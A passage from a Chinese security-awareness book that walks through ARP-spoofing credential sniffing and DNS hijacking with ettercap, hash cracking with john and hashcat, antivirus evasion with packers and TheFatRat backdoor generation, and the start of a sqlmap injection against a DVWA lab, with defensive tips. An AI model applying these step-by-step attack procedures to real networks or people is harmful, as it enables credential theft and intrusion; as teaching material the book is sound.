将/proc/sys/net/ipv4/ip_forward 文件值改为 1 即可如图

3.3.3.9 所示，默认关闭状态是 0，打开之后 win10 就可以正常上

网了，如图 3.3.3.10 所示：

图 3.3.3.9 打开转发开关

图 3.3.3.10 win10 可以上网

此时我们需要有一个可以监听工具 ettercap，看一下它的帮助

文档，如图 3.3.3.11 所示：



黑客解密档案

第 102 页

图 3.3.3.11 ettercap 帮助文档

这里文档信息涉及到的命令比较多，我就用最简单的来监听一

下：

-Tq:以静默的方式显示文本数据

-i:选择监听的网卡

先看一下目前正在用的网卡名称为 eth0，图 3.3.3.12：
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图 3.3.3.12 ifconfig 命令查看网卡

然后构建监听语句如下：

ettercap -Tq -i eth0，开始监控 eth0 网卡数据，如图 3.3.13

所示：

图 3.3.3.13 开始监听
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下面我们在一个网站如北京市人力资源和社会保障局个人登

录页面，输入账号密码信息，这里账号为： admintest，密码为：

passwordtest，我们点击登录，如图 3.3.3.14 所示：

图 3.3.3.14 登录网站

这里提示错误是正常的，因为我们的账号密码本身就是乱写的，

只为了测试监听数据，如图 3.3.3.15 所示：

图 3.3.3.15 提示账号错误
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然后，我们来看一下此时 kali 已经监听到了账号密码信息，

如图 3.3.3.16 所示：

图 3.3.3.16 成功监听到数据

到这里，不知道你是否看明白，在局域网内可以轻松的获取到

别人的上网数据。如果你的同事告诉你快登录平台进行一些操作，

当你正常登录后就会被监听到账号密码信息，当然面膜信息有可能

是程序自身加密处理过的，不过也照样可以破解。所以网络安全真

的很重要，别人拿到你的账号密码信息他可以做很多破坏，造成的

损失是不可估量的。
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3.3.3.3 DNS 劫持

与监听密码一样，正常情况下 win10 输入 www.baidu.com 是可

以通过 win10=>kali=>路由=>外网来上网的，现在由于域名是通过

DNS 来与 IP 对应的，如果我们在 kali 这一步中，修改 DNS 信息,

将 www.baidu.com 改成其他 IP 地址，这样就实现了劫持。

第一步，修改 ettercap 的 DNS 配置信息，如图 3.3.3.17 所示：

图 3.3.3.17 更改 DNS

http://www.baidu.com
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打开errercap,输入命令ettercap –G，即可打开可视化窗口，

如图 3.3.3.18 所示：

图 3.3.3.18 打开 ettercap 可视化界面

点击右上角的对勾即可打开操作界面，如图 3.3.3.19 所示：

图 3.3.3.19 进入 ettercap
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点击右上角三个点，选择 hosts，如图 3.3.3.20 所示：

图 3.3.3.20 选择 hosts

选择 scan for hosts，开始扫描局域网中主机，如图 3.3.3.21

所示：

图 3.3.3.20 选择扫描主机
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当提示扫描完成后，选择 hosts list，如图 3.3.3.21 所示，

查看主机列表如图 3.3.3.22 所示：

图 3.3.3.21 选择 hosts list

图 3.3.3.22 查看扫描到的主机列表
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选择路由 IP:192.168.31.1，点击 Add to Target1，如图

3.3.3.23 所示，选择 win10IP:192.168.31.17，点击 Add to Target2,

如图 3.3.3.24 所示：

图 3.3.3.23 添加路由 IP

图 3.3.3.24 添加目标 win10 IP
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先点击左上角暂停按钮，然后再点击三角按钮重新开始 arp 欺

骗攻击，如图 3.3.3.25 所示：

图 3.3.3.25 开始重新欺骗

下方提示开始攻击，如图 3.3.3.26 所示：

图 3.3.3.26 提示开始攻击
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点击右上角三个点，选择插件选项 Plugins,如图 3.3.3.27 所

示：

图 3.3.3.27 选择 Plugins

选择管理插件，如图 3.3.3.28 所示：

图 3.3.3.28 选择管理插件
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选择 dns_spoof,右键点击 Activate，来激活 dns 欺骗攻击，

如图 3.3.3.29 所示：

图 3.3.3.29 选择激活 dns_spoof

此时会有*号和信息提示，表明激活成功，如图 3.3.3.30 所示：

图 3.3.3.30 激活成功
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第二步：配置本地网站服务

启动 apache 服务：service apache2 start，

查看服务开启状态：service apache2 status，

如图 3.3.3.31 所示，成功开启 apache2 服务：

图 3.3.3.31 开启 apache2 服务

我们在 apache 网站根目录 /var/www/html 中创建一个

index.html 文件，并且打上相应文字，如图 3.3.3.32 所示：

图 3.3.3.32 创建文件
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此时相当于搭建了一个本地网站，网站地址为 kali 的 ip, 即

http://192.168.31.16/index.html，index.html 的 apache 默认访

问的文件，因此这里可以不加，此时在 win10 中访问百度就自出来

这个提示了，如图 3.3.3.33 所示：

图 3.3.3.33 成功进行 DNS 欺骗

思考：

1、我本来想问 A 结果内容回显的是 B，那么如果 B网站是钓鱼

网站是不是很可怕呢？比如你想访问建设银行的网站，黑客先做了

一个和建设银行一模一样的网站，此时当你访问建行网站的时候实

际上访问的是假的建行网站，那么你的密码信息就泄露了。

2、也许你会说黑客怎么可能做一个一模一样的建设银行网站
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呢？

3、或者说即便是做出来了我也等不上去啊，一登录提示密码

错误不也暴露了吗？

4、首先黑客做一个一模一样的网站非常容易，其次黑客可以

在密码登录页面做成假的，但是当你输入完账号密码之后会把这些

信息提交给银行，也就是说你能够正常使用，但是黑客依然可以记

录你的账号密码；

5、再者言，黑客如果真的想针对你的话，不会只用一种技术，

往往是 N中黑客技术的综合利用，例如它完全可以选择监听你账号

密码信息等等。

6、应对策略是开启安全软件 arp 防护功能，这样能防护普通

的 arp 攻击，但并不是绝对的安全，例如黑客可以通过其它漏洞关

闭你的安全软件 arp 防护功能，这样不就又可以展开攻击了？总之

道与魔的较量总是在互相摩擦中不断提升，安全总是相对的。

3.3.4 离线破解

3.3.4.1 破解 zip 压缩包密码

生活中我们经常遇到需要破解压缩包密码的情况，比如你很久

以前设置的密码现在忘记是什么了或者其它情况等等，那么下面就
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来解密黑客是如何破解压缩包密码的。

首先黑客破解压缩包密码所用到的工具种类比较多，这里不会

一一讲解，把常用的工具方法介绍一下即可。

第一步：先新建一个加密的 zip 压缩包

1）在桌面新建一个 1.txt 文档，里面写上一些文字代表机密

内容，如图 3.3.4.1 所示：

图 3.3.4.1 新建文本文档

2）选中 1.txt 然后点击鼠标右键新建压缩文件，命名为：

“hack.zip”,并设置密码为：“a12345”，如图 3.3.4.2,3.3.4.3

所示：

图 3.3.4.2 设置压缩文件名
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图 3.3.4.3 设置密码

3）root 目录下文件太多，为方便演示在 kali 主机的 root 目

录下，新建myzip文件夹，并将压缩包复制到myzip下，如图3.3.4.4

所示：

图 3.3.4.4 拷贝 hack.zip 文件
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第二步：开始破解密码

1）输入命令 zip2john /root/myzip/hack.zip，首先将

hack.zip 生成 hash 值，如图 3.3.4.5 所示：

图 3.3.4.5 生成 hash 值

这里我们后边要破解该 hash 值，因此先需要把这些值存储

到一个文件当中，我们执行如下命令：

zip2john /root/myzip/hack.zip > /root/myzip/ziphash.txt，

如图 3.3.4.6 所示：

含义：将/root/myzip/hack.zip 生成的 hash 值重定位到

/root/myzip/ziphash.txt 文件中，其中”>”代表重定位即写入的

意思。

图 3.3.4.6 将 hash 值重定位到文件中

然后我们在 myzip 目录下即可看到生成的 ziphash.txt 文件，
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打开之后即为 hash 值，如图 3.3.4.7 所示：

图 3.3.4.7 查看 ziphash.txt 文件

当然黑客一般不这么看，他们更习惯于用命令来查看内容，如

图 3.3.4.8 所示：

图 3.3.4.8 通过命令查看 ziphash.txt 文件

2）开始破解hash值，输入命令john /root/myzip/ziphash.txt，

如图 3.3.4.9 所示，这里默认采用的是

usr/share/john/password.lst 这里的字典，可以通过丰富这

个字典来尝试破解
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图 3.3.4.9 默认密码字典

图 3.3.4.10 成功破解密码

当然破解这种还有别的工具如 rarcrack，原理都是通过密码字

典来破解，如图 3.3.4.11、3.3.4.12 所示：
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图 3.3.4.11 采用 rarcrack 破解

图 3.3.4.12 配置 xml 文档指定 4位数字密码规则，rarcrack 成功破解出密码

这里先通过 crack.rar.xml 来指定密码为 4位数字，然后在去
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破解，不同的是后者可以自动按照规则来尝试密码，不需要密码字

典文件，而前者需要密码字典文件，这个字典文件体积一般都比较

大。前者更适用于对弱口令的破解户这话说常用密码的破解，后者

适用于对指定规则的破解。

所以一般情况下先用前者来破解看看是否是弱口令，然后再用

后者破解，这样相对效率要高一些。

3.3.4.2 破解密码全能工具 hashcat

Hashcat 可以破解非常多的离线密码，包括 word、MD5、WPA、

rar、zip 等等，支持灵活的自动以密码组合规则，实现暴力破解，

我们先来看一下它的帮助文档，文档内容比较多，这里分段讲解如

图 3.3.4.13-3.3.4.19 所示：
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图 3.3.4.13 参数

-m 参数指定要破解的 hash 类型，如-m 1000，是指破解序号为

1000 所对应的 hash 类型；

-a 参数指定攻击模式

-o 参数指定输出文件
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图 3.3.4.14 参数

-1、-2、-3、-4 是自定义参数，后面会在案例中讲到；

-i 增加模式，其中—increment-min 指定最小位数，

--increment-max 指定最大位数。
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图 3.3.4.15 支持的 hash 模式

这里列出了支持的 hash 模式，比如 0代表 MD5，100 代表 SHA1,

如果想破解一个 MD5 值，直接输入参数-m 0 即可，其它同理。
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图 3.3.4.16 支持的 hash 模式

Hashcat 支持的破解格式非常多，这里列举了一部分，剩余其

它部分可以自行输入 hashcat –h来查看。
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图 3.3.4.17 支持的攻击模式

这里介绍了 hashcat 的-a 参数所支持的攻击模式，比如-a 3

代表暴力破解模式，我们就以这种模式来讲解，其它模式可以自行

去查阅。

图 3.3.4.18 内置的自定义字符

这里规定了内置字符的代表格式，如 l 代表所有小写字母，u

代表所有大写字母，d代表数字，s代表特殊字符，a 代表所有小写

字母、大写字母、数字、特殊字符的组合。具体用法请往下看。

图 3.3.4.19 命令组合案例
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这里我们看一下 Brute-Force 这个语法案例，我们要破解的是

一个 md5 值，-a 3 指定暴力破解，-m 0 指定破解类型是

MD5,example0.hash 代表要破解的 hash 值，后面的?a?a?a?a?a?a,

其中每一个?a代表当前位为小写字母、大写字母、数字、特殊字符

其中之一，然后进行排列组合猜解密码。

我们先生成一个 MD5 值， 给 aKJSabf 这个字符串加密，输入

命令：echo -n aKJSaaf |openssl md5，如图 3.3.4.20 所示:

图 3.3.4.20 参数

后边的这一串字符：ef1db0f27160d735f87d2d8f64a2098b 即是

加密后的文本，那么我们来破解一下，输入如下命令：

hashcat -a 3 -m 0 -1 '?l?u'

ef1db0f27160d735f87d2d8f64a2098b --increment

--increment-min 5 --increment-max 7 a?1?1?1?1?1?1 -o

/root/mytest/crackmd5.txt –remove

含义：

-a 3：暴力破解

-m 0：破解的是 MD5 类型
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-1 '?l?u'：指定数字 1 代表 l 或者 u，即小写字母或者大写

字母

ef1db0f27160d735f87d2d8f64a2098b：要破解的 MD5 值，也可

以存到文本文档里面，写成文档地址即可

--increment --increment-min 5 --increment-max 7：指定

密码最小长度为 5 位，为大长度为 7 位

a?1?1?1?1?1?1：指定第一位为字母 a,剩下六位为?1 及签名定

义的'?l?u'，即大写或小写字母

-o /root/mytest/crackmd5.txt：指定将结果保存到的文件目

录

–remove：不将结果保存到缓存文件中

点击回车后开始破解，如图 3.3.4.21 所示：

图 3.3.4.21 开始破解

当 Status 为 Cracked 时代表已经破解成功，下面分别有破击

而规则即以字母 a 开头的 5-7 位大小写字母，Progress 代表破解尝
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试的进度，目前尝试到 23.38%正好猜解到密码，最后 Candidates

表示待尝试破解的区间范围。

图 3.3.4.22 破解完成

我们在/root/mytest 目录下发现确实生成的 crackmd5.txt 文

本文件，打开看一下，冒号后面的就是刚刚破解出来的密码，如图

3.3.4.23 所示：

图 3.3.4.23 破解出密码

下面我们再演示一下如何破解 docx、pdf 等加密文件，我们以

word 为例，新建一个 word，写上一些信息，然后设置密码，如图
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3.3.4.24-3.3.4.26 所示：

图 3.3.4.24 设置 docx 文档内容

图 3.3.4.25 选择用密码进行加密

设置密码为:ts2021,如图 3.3.4.26 所示：



黑客解密档案

第 133 页

图 3.3.4.26 设置密码

将加密后的 001.docx 文件拷贝到/root/mytest 目录下，如图

3.3.4.27 所示：

图 3.3.4.27 拷贝文件

我们用 john-1.8.0-jumbo-1.tar.gz 这款工具生成 001.docx

的 hash 值，该工具在网上下载即可，也可以在我的博客

www.anquanrensheng.com 中下载，下载后解压到/root/mytest 目

录，如图 3.3.4.28 所示：
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图 3.3.4.28 解压 hash 生成工具

然后我们进入到这个文件夹内部，如图 3.3.4.29 所示：

图 3.3.4.29 进入文件夹

里面还有 run 这个文件夹，还需要再进入到 run 里面，这里我

就直接上图了，如图 3.3.4.30 所示：

图 3.3.4.30 进入到 run 里面
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查看 run 目录下的内容，如图 3.3.4.31 所示，我们使用

office2john.py 这个程序来将 001.docx 生成 hash 值：

图 3.3.4.31 支持的功能列表

生成 hash 值，如图 3.3.4.32 所示：

./office2john.py /root/mytest/001.docx >

/root/mytest/001hash.txt

图 3.3.4.32 生成 hash 值

这里有一点需要注意的是由于我们是直接调用.py 文件，因此

需要在命令前面加上./才可以，这样才是调用这个 py 文件。我们

将生成的 hash 值保存在了 001hash.txt 文件中，下面看一下，如

图 3.3.4.33 所示：
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图 3.3.4.33 生成 hash 值

然后这里有一点需要注意就是 py 文件规定了生成的整个字符

串文本代表的格式是“文件名:hash 值”中间用冒号隔开,因此要把

里面“001.docx：”这些字符删掉，因为这些字符不属于 office

的 hash 值，我们手动删除后的文件如图 3.3.4.34 所示：

图 3.3.4.34 修改文件为真正的 hash 值

下面开始破解，在帮助文档中查看破解类型对应的序号为 9600，

如图 3.3.4.35 所示：
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我们设定的密码为大写字母+数字的格式，密码为 6 位，大家

可以尝试每一位都是大小写字母+数字+特殊字符，这样破解时间会

长一些，为了加速破解效果我就按照 6位密码的格式来设置，最终

结果保存在 001ok.txt 中，如图 3.3.4.35 所示,这个命令应该能看

的懂，如果有不明白的可以看看前面的内容即可。

图 3.3.4.35 开始破解

破击额过程中我们可以按 s 键来查看破解状态，如图 3.3.4.36

所示：

Status：Running 代表正在破解中，

Candidates：SA1219->SK7990,说明正在尝试这个范围内的密
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码，而从结构上不难看出是我们想要的两位大写字母加四位数字的

密码组合方式。

图 3.3.4.36 正在破解中，按 S键查看破解状态

经过几分钟的等待最终提示破解成功，如图 3.3.4.37 所示：

图 3.3.4.37 提示破解成功

在 001ok.txt 中，文本最后即可查看破解密码，如图 3.3.4.38

所示：

图 3.3.4.38 查看破击密码
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总结：

1、关于破解速度：本地破解的方式多采用密码组合或者字典

来进行暴力破解，这种破解效率从理论上是肯定能破解出来的，不

过如果密码长度和复杂度特别高那么破解还是需要花费一些时间

的，由于我这里是在虚拟机里进行演示，内存及线程没有开太多，

破解相同的密码需要花费的时间更多一些，如果在配置比较高的计

算机中破解一个 hash 密码还是非常快的。

2、关于密码字典，很多时候黑客喜欢用社会工程学字典来生

成针对你的特有字典文件，而你如果安全意识不强设置的密码复杂

程度不高那破解起来就非常快了，可能 2秒钟就足以破解出你的密

码了，因此不要用类似：jiao19900826 这样和自身信息密切相关的

密码，那么该如何设置密码呢？这个会在后面有专门的章节进行讲

解。

3.4、我有杀毒软件，还用怕黑客吗？

3.4.1 杀毒软件是如何判断文件是病毒的？

我们要想弄明白杀毒软件是如何判定一个文件是不是木马病

毒，首先需要有一个判定规则。这就相当于法院在判定一个人是不

是犯罪了，需要参照相关法律法规来对嫌疑人进行判定，杀毒软件
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厂商根据木马病毒原理也制定了自己的判定规则，比如杀毒软件判

定规则中明确规定当文件特征码中包含A时，即判定为是病毒文件，

那么如果某程序中包含 A 特征码就会被判定为病毒。

那么是不是一个常规的应用程序也会存在这个A特征码呢？有

可能，所以这时候就会出现所谓的误报。除了根据特征码来判定以

外，不同杀毒软件还有自己独特的判定规则，比如行为查杀，当病

毒要进行某种行为比如打开特定端口、发送密码信息数据等时会被

判定为病毒，当然还有很多查杀方式，每一款杀毒软件对病毒查杀

能力千差万别，这里我们用之前生成的后门程序 dongwenlong.exe

来上传到 www.virustotal.com 进行检测,如图 3.4.1.1 所示

图 3.4.1.1 全世界 71 款杀毒软件查杀检测结果

从结果中我们看出全世界71款杀毒软件其中有53个杀毒软件
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引擎识别出这个木马，剩余 18 款杀毒软件没有识别出是木马，也

就是当做正常软件放行了，如图 3.4.1.2 所示：

图 3.4.1.2 绿色代表成功绕过的杀毒引擎

如果你的电脑上安装了只是这 18 款杀毒引擎其中的几个，那

么要提醒你的是你很容易中招！因为你电脑里的杀毒软件认为我的

后门程序是正常程序，不会查杀。黑客一般不会针对所有杀毒软件

做免杀，能过主流的杀毒软件就足够了。

3.4.2 黑客是如何做免杀的？

这是一个非常好的问题，黑客为了绕过杀毒软件，特别针对主

流杀毒软件的查杀机制进行分析，使得黑客技术自然而然产生了一

个分支即为免杀技术。这门免杀技术涉及到的知识及技术含量非常

高，我做为一个研究黑客技术十余载的安全人员，对所有杀毒软件

也不敢百分百保证，当然过主流杀毒软件还是没问题的。
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我们说一下黑客常用的免杀技术都有哪些？

这里我们来引用百度百科对于免杀的一些介绍，参考如下：

1）修改特征码

方法一:直接修改特征码的十六进制法

1.修改方法:把特征码所对应的十六进制改成数字差 1 或差不

多的十六进制.

2.适用范围:一定要精确定位特征码所对应的十六进制,修改

后一定要测试一下文件能否正常使用.

方法二:修改字符串大小写法

1.修改方法:把特征码所对应的内容是字符串的,只要把大小

字互换一下就可以了.

2.适用范围:特征码所对应的内容必需是字符串,否则不能成

功.

方法三:等价替换法

1.修改方法:把特征码所对应的汇编指令命令中替换成功能类

拟的指令.

2.适用范围:特征码中必需有可以替换的汇编指令.比如

JE,JNE 换成 JMP 等.

方法四:指令顺序调换法
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1.修改方法:把具有特征码的代码顺序互换一下.

2.适用范围:具有一定的局限性,代码互换后必须不能影响程

序的正常执行

方法五:通用跳转法

1.修改方法:把特征码移到零区域(指代码的空隙处)执行后，

使用 jmp 指令无条件调回原代码处继续执行下一条指令

2.适用范围:通用的改法,建议大家要掌握这种改法.

2）加冷门壳

举例来说，如果说程序是一张烙饼，那壳就是包装袋，可以让

你发现不了包装袋里的东西是什么。比较常见的壳一般容易被杀毒

软件识别，所以加壳有时候会使用到生僻壳，就是不常用的壳。去

买口香糖你会发现至少有两层包装，所以壳也可以加多重壳，让杀

毒软件看不懂。如果你看到一个袋子上面写着干燥剂、有毒之类的

字你也许就不会对他感兴趣了吧，这就是伪装壳，把一种壳伪装成

其他壳，干扰杀毒软件正常的检测。

3）加壳改壳

加壳改壳是病毒免杀常用的手段之一，加壳改壳原理是将一个

木马文件加上 upx 壳或者其它壳后用 lordpe 将文件入口点加 1，然

后将区段字符全部去掉，然后用 od打开免杀的木马在入口上下 100
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字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么

脱就可以实现免杀的目的，但这种技术只有熟悉汇编语言的人才会，

这种免杀方法高效可以一口气过众多杀软也是免杀爱好者应该学

会的一种技术。

4）加花指令

加花是病毒免杀常用的手段，加花的原理就是通过添加加花指

令（一些垃圾指令，类型加 1 减 1之类的无用语句）让杀毒软件检

测不到特征码，干扰杀毒软件正常的检测。加花以后，一些杀毒软

件就检测不出来了，但是有些比较强的杀毒软件，病毒还是会被杀

的。这可以算是“免杀”技术中最初级的阶段。

5）改程序入口点

修改程序入口点

以上摘自百度百科“免杀”词汇搜索结果，其实针对于免杀黑

客一版会用多种技术手段来互相组合，最终实现绕过杀毒软件的目

的。第一代黑客基本上对这些都非常熟悉，记得那时候我还为研究

免杀专门学习汇编等语言，如果那个时候一个十几岁的孩子说自己

是黑客基本上没人相信，因为你要想成为一个黑客必须会编程，可

以自己写木马，既然写了木马就必须要绕过杀毒软件因此必须学习

免杀，想学好免杀就必须会汇编语言等知识，如此不断深挖下去，
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你会发现想学号黑客技术需要的知识储备非常多，一个十几岁的孩

子是不可能有这样的知识储备的。而现在不一样了，因为很多东西

都框架化了，这个十几岁的孩子只要会用就可以了。

以免杀为例，现成的免杀框架就有很多，比如以 TheFatRat 免

杀框架为例，就可以过很多主流的杀毒软件，我们先来安装这个框

架，如图 3.4.2.1 所示，直接 git 下来就可以了。

图 3.4.2.1 安装 TheFatRat

这个框架安装比较复杂，这里我就不一一演示了，因为每台电

脑遇到的情况可能都不一样，如果有安装问题可以联系我来解决。

我这里已经安装好了，在 root 目录下有 TheFatRat 文件夹，进来

后直接./fatrat 回车即可运行，如图 3.4.2.1 所示：

图 3.4.2.2 运行 TheFatRat
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运行之后会有一个提示如图 3.4.2.3 所示：

图 3.4.2.3 信息提示

这 里 提 示 我 们 不 要 讲 生 成 的 后 门 程 序 上 传 到

www.virustotal.com，知道这是为什么吗？因为一旦上传了，那么

全世界杀毒厂家都会得到这个后门程序，并且对他进行分析找到针

对它的查杀机制，后边当再用这个 TheFatRat 来做免杀的时候就没

效果了。

我们敲回车继续启动界面，界面启动成功如图 3.4.2.4 所示：
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图 3.4.2.4 界面启动成功

其实这里已经在底层启动了 msf，然后我们选择 1，利用

msfvenom 创建一个后门程序，如图 3.4.2.5 所示：
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图 3.4.2.5 选择 tool 界面

我们输入 2 回车，此时列出了本机的 IP 等信息，只是为了提

示而已，省的再自己查一遍，如图 3.4.2.6 所示：

图 3.4.2.6 列出 IP 信息

然后根据提示设置后门程序响应的配置信息即可，如图

3.4.2.7 所示：
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图 3.4.2.7 配置后门参数

配置 payload，如图 3.4.2.8 所示：

图 3.4.2.8 选择 payload

弹出最终配置信息，如图 3.4.2.9 所示：

图 3.4.2.9 全部配置信息
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程序自动开始生成后门程序，我们来看一下整个过程都做了哪

些免杀操作，如图 3.4.2.9-3.4.2.11 所示：

No.1 首先用 x86/shikata_ga_nai 进行编码，数一下可以知道

总共编码 10次

图 3.4.2.9 x86/shikata_ga_nai 编码 10 次

图 3.4.2.10 x86/countdown 编码 8次

后边又用三种编码格式进行了总共 6 次编码，如图 3.4.2.11



黑客解密档案

第 151 页

所示：

图 3.4.2.11 还有其它次编码

最终提示创建成功，并保存在了

/root/Fatrat_Generated/hacklong.exe.exe 文件中，这里为什

么是两个 exe 呢？很简单，是因为在输入名字的时候只需要输入文

件名即可不用输入扩展名，我在图 3.4.2.7 中输入的是

hacklong.exe 因此由两个 exe，这里没关系我们删掉一个即可。

图 3.4.2.12 成功创建后门程序

我们把它放在物理机中，用 360 杀毒来扫描一下，看看已安全

绕过杀毒软件，如图 3.4.2.13 所示：
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图 3.4.2.13 成功绕过杀毒软件

当然，杀毒厂家也不是傻子，当有人上传通过这个免杀框架成

的后门之后杀毒软件就可以识别这类后门了，但是通过免杀的过程

咱们可以看到它只是不断进行编码来绕过杀毒软件的，那么我们自

己也可以设置多编码几次一样可以绕过杀毒软件。截止目前发稿时

该版本工具可以成功绕过 360，但是如果你在测试的时候可能就不

行了，这个时候就需要想别的办法了。

总之黑客有各种各样的办法来绕过杀毒软件。道与魔的较量，

总是在不断前行中各自提升。

看完本节你应该明白即便是有杀毒软件如果黑客真的想搞你，

你也要小心。这里建议国内国外的软件各装一款基本上就差不多了，

国内的推荐用火绒，国外的可以选择卡巴斯基。
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3.4.3 道与魔的先后顺序

网络安全技术发展到今天在道与魔的较量中，很多时候都是先

有魔然后才有道，也就是说市面上先出现了一款病毒，然后杀毒软

件才会研究病毒的特征来制定查杀机制，例如当年熊猫烧香病毒肆

虐时，很多杀毒软件都没办法，只有过去一段时间之后才有针对性

的策略，那么在这个空档期时你不害怕吗？更何况你不知道啥时候

就会有病毒来感染你的计算机，你也不知道会造成什么样的破坏。

因此在互联网的世界里要时刻做好提前防御，比如重要资料一

定要至少备份两份，并在不同的存储介质备份。也许你会说为啥要

备份两份呢？万一你只存一个移动硬盘里面，当你某天在备份时突

然电脑感染了病毒，你这个移动硬盘里的东西都被锁住了或者都没

了，你怎么办？你要时刻保证在脱离互联网的环境下依然有备份，

哪怕是拷贝资料的那短短几秒钟的时间，都足以致命，所以至少要

备份两份！

3.5、黑客攻击我之后想做什么呢？

这个主要和黑客攻击你的目的有关系，这里简单列举一些：

1）盗取账号，获得账号内有价值的东西，比如游戏装备、虚

拟货币等；
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2）盗取银行卡资金

3）在公司博弈中获取对方机密资料，如产品设计方案、投标

报价方案等

4）其它目的比如入侵你的笔记本然后打开摄像头，窥探隐私

等等

5）还有可能是你只是一个跳板，黑客会用你的 IP来继续攻击

达到伪装的目的

6）调查取证，获取聊天记录

7）……

这里太多了，估计列举 1000 个也列举不完，总是你在正常情

况下能做的和网络相关的事情，黑客都可以实现，和网络不相关的

其实黑客也可以实现，这个就涉及到社工了，后面会讲到。

3.6、我该如何防御？

针对本章所解密的黑客技术及以往经验总结如下：

1）打开防火墙，安装两款杀毒软件，国内国外各一款，病毒

库要经常更新

2）及时给系统打补丁，修复漏洞

3）关闭常用入侵端口，如 445、3389 等
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4）不要轻易接收陌生文件，避免是后门等程序

5）不要在第三方平台下载程序，请去官网下载，避免捆绑后

门

6）不要点开陌生链接，避免是黑客链接

7）密码长度要尽量长一些，最好 10位以上且包含大写字母、

小写字母、数字、特殊字符，增加破解难度

8）不要设置同一个密码，避免别人通过你压缩包密码就知道

你其它密码

9）不要轻易相信别人

10）其它，例如离开电脑必须锁屏、不要链接陌生 wifi 等，

因为你一链接 wifi 别人就可以扫描到你了。

四、网站系统攻击档案

4.1 我只是普通网民，这和我没关系吧？

这个好像只和网站管理员有关系，和普通网民貌似没什么关系，

其实关系密切。对于我们绝大多数网民来说和自身相关的很多信息

都在网站中留有痕迹，比如你的社保可以在网上查询、你的个人征

信、你的游戏账号、你的社交类账号、你的其它办公类账号等等都

和网站息息相关，那么当其中的某个网站被黑客攻击之后很有可能
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会获取到你的账号密码，进而会产生一定的损失，因此黑客攻击网

站也和我们每个普通人密切相关。

案例：小美是一名普通的学生，偶尔去网吧玩玩游戏，有一天

小美突然发现自己游戏里的装备没了，接下来和自己相关的多个网

站账号都出现了被盗的情况，这吓坏了小美，造成了约 1000 多元

的经济损失。

分析：这种情况出现的原因很多，排除系统攻击、移动端攻击

等，那么可能的原因就只剩下 web 端攻击了。可是小美自己也没有

网站啊，为何还会被攻击？后来在调查中发现是小美曾经在一个 QQ

网名在线生成的小网站注册过账号，由于这个网站安全性不高数据

库泄露了，导致黑客轻易就获得了大量的账号密码，其中就包括小

美的。然后用这些账号密码进行撞库，尝试登录多个游戏平台，一

旦登录成功就会对应做一些非法操作。

总结：这里有一个前提就是小美多个平台都用的相同账号密码，

在我国网民中绝大多数人都存在多个账户用同一个密码的现象，此

次小美遇到的问题就是这样造成的，当其中某个网站安全性不高时，

所有和自己相关的账户就都沦陷了。这就是为什么说即便是普通网

民也和网站安全密不可分。
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4.2 黑客为什么要攻击网站？

黑客攻击网站主要分为利益型和非利益型，利益型主要包括：

受人委托进行攻击、窃取具有价值的资料、获得肉鸡、获取目标账

户金钱利益、绑定网马进行深度攻击等等，非利益型主要指菜鸟测

试而已。

4.3 黑客如何攻击网站？

黑客攻击网站的方法非常多，往往是根据网站类型、漏洞类型、

攻击目的的不同而采用不同的方式，有时候可能会尝试多种方式进

行组合，比如黑客受人之托想篡改某网站 A 的页面数据或者使其瘫

痪，那么黑客通常会采取什么方式来攻击呢，这里简单列举一下：

1）手机网站 A的信息；

信息包括：网站所有人、网站是用什么程序搭建的、数据库类

型及版本、ftp 信息、由无子域名等等

2）扫描网站漏洞；

根据以上信息利用网站漏洞扫描工具进行漏洞扫描，看网站是

否有可以利用的漏洞，如弱口令、SQL 注入等等，

3）如果有相应漏洞则进一步利用漏洞，如果没有看是否可以

暴力破解相关密码，如数据库密码、FTP 密码等；

4）如果网站可以注册登录，登录上去之后看是否有上传漏洞、
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脚本跨站漏洞等，或者根据网站搭建程序如 discuz 某版本存在的

漏洞信息进行入侵；

5）通过扫描网站目录结构或者高级搜索语法等查找网站后台

登录地址，用暴力破解或者注入获得的密码登录后台，然后通过数

据库备份漏洞等获得 webshell 权限，这里就可以修改网站数据了，

还可以进一步提权获取服务器权限

6）扫描网站子域名是否有比较严重的漏洞

7）扫描网站所在服务器是否有比较严重的漏洞，如果直接获

得了服务器权限这个网站就都拿下了

8）ddos 攻击、CC 攻击，是的网站无法打开

9）其它

由于网站入侵设计到的技术及工具非常多，这里给大家演示部

分技术即可，请不要用书中的技术做破坏哦。

4.3.1 sql 注入攻击

实验环境：kali 与无立柱及采用桥接方式，

kali IP：172.20.10.8，

物理主机（模拟服务器）IP：172.20.10.2，

网站地址：http://172.20.10.2/dvwa/login.php

网站架设：phpstudy + dvwa 渗透测试环境

http://172.20.10.2/dvwa/login.php
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第一步登录网站，并记录 Cookie：

在浏览器中登录网站，输入账号密码，账号 admin 密码

password，如图 4.3.1.1 所示：

图 4.3.1.1 输入账号密码登录网站

登录网站后的界面如图 4.3.1.2 所示：

图 4.3.1.2 登录后界面
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这是一个集合了网站各种漏洞的靶机程序，下面我们就点击

SQL Injection 演示 SQL 注入漏洞，如图 4.3.1.3 所示：

图 4.3.1.3 打开注入漏洞页面

然后我们随便输入一个数字比如 1，点击 Submit 提交按钮，如

图 4.3.1.4 所示：

图 4.3.1.4 输入 1 点击提交
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这里发现可以爆出 ID 为 1 的用户名称，当我们输入 2 时再试

一下看看是不是可以爆出用户 ID 为 2 的名称信息，如图 4.3.1.5

所示：

图 4.3.1.5 查询 ID 为 2的信息

果然查询出来了，这里我们看一下前后两个网址的区别;

http://172.20.10.2/dvwa/vulnerabilities/sqli/?id=1&Su

bmit=Submit#

http://172.20.10.2/dvwa/vulnerabilities/sqli/?id=2&Su

bmit=Submit#

只有 id 值这个参数不一样剩下的都一样，说明可以通过 SQL

注入语句来查询数据库相关信息，下面请上我们的 sql 注入神器

SQLMAP,在 kali 系统里默认已经自带这款工具了，我们来看一下帮

助信息，如图 4.3.1.6 所示：
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图 4.3.1.6 sqlmap 帮助信息

这里-u参数指定注入地址，--cookie指定用户的cookie信息，

因为我们是登陆之后才能操作的，因此需要加上 cookie 信息。我

们在网站空白处按 F12 键，打开开发者模式，刷新一下页面，然后

在 Network 里面找到发起请求的数据，找到 cookie 值，保存下来，

后续会用到。如图 4.3.1.7 所示：

我们的 cookie 值是：

security=low; PHPSESSID=iaqpdkno44r2msammuu6hg195c



黑客解密档案

第 163 页

图 4.3.1.7 获取到 cookie

当然还有一些参数，大家直接看英文说明了解一下即可，如图

4.3.1.8 所示：

图 4.3.1.8 更多常用参数
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下面我们开始入侵，构建语句并回车执行如图 4.3.1.9 所示：

图 4.3.1.9 开始注入

